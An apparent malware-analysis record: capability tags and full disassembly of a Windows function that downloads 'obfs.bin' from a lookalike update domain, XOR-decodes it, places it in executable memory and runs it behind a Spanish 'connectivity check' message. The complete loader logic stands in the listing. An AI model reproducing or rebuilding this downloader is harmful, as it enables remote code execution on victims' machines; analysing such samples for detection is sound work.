Function at 0x1400010a0
Capabilities:
Allocate or change rwx memory
Create http request
Create thread
Encode data using xor
Execute shellcode via indirect call
Read data from internet
Receive data
Reference http user-agent string
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x280
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x270], rax
movups xmm0, xmmword [str.https:__actualizaciones_coopeuch.cl_obfs.bin]
mov eax, dword [0x140003388]
lea rcx, str.Mozilla_5.0
movups xmm1, xmmword [0x140003370]
mov dword [rsp + 0x60], eax
xor esi, esi
movzx eax, byte [0x14000338c]
xor r9d, r9d
movups xmmword [rsp + 0x38], xmm0
xor r8d, r8d
xor edx, edx
movsd xmm0, qword [0x140003380]
movsd qword [rsp + 0x58], xmm0
movups xmmword [rsp + 0x48], xmm1
mov byte [rsp + 0x64], al
mov dword [rsp + 0x20], esi
call qword [sym.imp.WININET.dll_InternetOpenA]
mov r14, rax
test rax, rax
jne 0x140001144
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.InternetOpen_failed:__lu_n
call fcn.140001010
jmp 0x14000137a
mov qword [rsp + 0x28], rsi
lea rdx, [rsp + 0x38]
xor r9d, r9d
mov dword [rsp + 0x20], 0x80000000
xor r8d, r8d
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rbp, rax
test rax, rax
jne 0x14000118f
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.InternetOpenUrl_failed:__lu_n
call fcn.140001010
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x14000137a
lea r9, [rsp + 0x30]
mov r8d, 0x200
lea rdx, [rsp + 0x70]
mov rcx, rbp
mov ebx, esi
mov rdi, rsi
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x14000135c
mov r15, 0xffffffffffffffff
nop dword [rax]
mov ecx, dword [rsp + 0x30]
test ecx, ecx
je 0x14000135c
mov edx, ebx
add edx, ecx
mov rcx, rdi
cmovb rdx, r15
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_realloc]
test rax, rax
je 0x140001333
mov r8d, dword [rsp + 0x30]
lea rdx, [rsp + 0x70]
mov ecx, ebx
mov rdi, rax
add rcx, rax
call sub.VCRUNTIME140.dll_memcpy
add ebx, dword [rsp + 0x30]
lea r9, [rsp + 0x30]
mov r8d, 0x200
lea rdx, [rsp + 0x70]
mov rcx, rbp
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x1400011c0
mov rcx, rbp
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov r15, rdi
mov edx, ebx
lea rcx, str.Comprobando_conectividad_a_nodo_n
call fcn.140001010
xor r9d, r9d
mov qword [rsp + 0x28], rsi
lea r8, [0x140001070]
mov dword [rsp + 0x20], esi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
test ebx, ebx
je 0x1400012fd
cmp ebx, 0x40
jb 0x1400012e0
movdqa xmm2, xmmword [0x1400033f0]
mov edx, ebx
and edx, 0xffffffc0
mov r8d, 0x20
nop
mov eax, esi
movdqa xmm1, xmm2
add esi, 0x40
movdqu xmm0, xmmword [rax + r15]
xorps xmm1, xmm0
movdqu xmmword [rax + r15], xmm1
lea eax, [r8 - 0x10]
movdqa xmm1, xmm2
movdqu xmm0, xmmword [rax + r15]
xorps xmm0, xmm2
movdqu xmmword [rax + r15], xmm0
mov eax, r8d
movdqu xmm0, xmmword [rax + r15]
xorps xmm1, xmm0
movdqu xmmword [rax + r15], xmm1
lea eax, [r8 + 0x10]
add r8d, 0x40
movdqu xmm0, xmmword [rax + r15]
xorps xmm0, xmm2
movdqu xmmword [rax + r15], xmm0
cmp esi, edx
jb 0x140001280
cmp esi, ebx
jae 0x1400012fd
mov eax, esi
mov edx, ebx
add rax, rdi
sub edx, esi
nop dword [rax]
xor byte [rax], 0xaa
lea rax, [rax + 1]
sub rdx, 1
jne 0x1400012f0
mov r9d, 0x40
mov edx, ebx
mov r8d, 0x3000
mov esi, ebx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test rax, rax
jne 0x14000138d
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.VirtualAlloc_failed:__lu_n
call fcn.140001010
jmp 0x1400013ae
lea rcx, str.Memory_allocation_failed_n
call fcn.140001010
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, rbp
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x14000137a
mov rcx, rbp
mov r15, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
test rdi, rdi
jne 0x140001233
lea rcx, str.Failed_to_download__n
call fcn.140001010
mov eax, 1
jmp 0x1400013cb
mov r8, rsi
mov rdx, rdi
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
call rbx
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
lea rcx, str.Press_any_key_to_exit...
call fcn.140001010
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
xor eax, eax
mov rcx, qword [rsp + 0x270]
xor rcx, rsp
call fcn.140001410
lea r11, [rsp + 0x280]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rdi
ret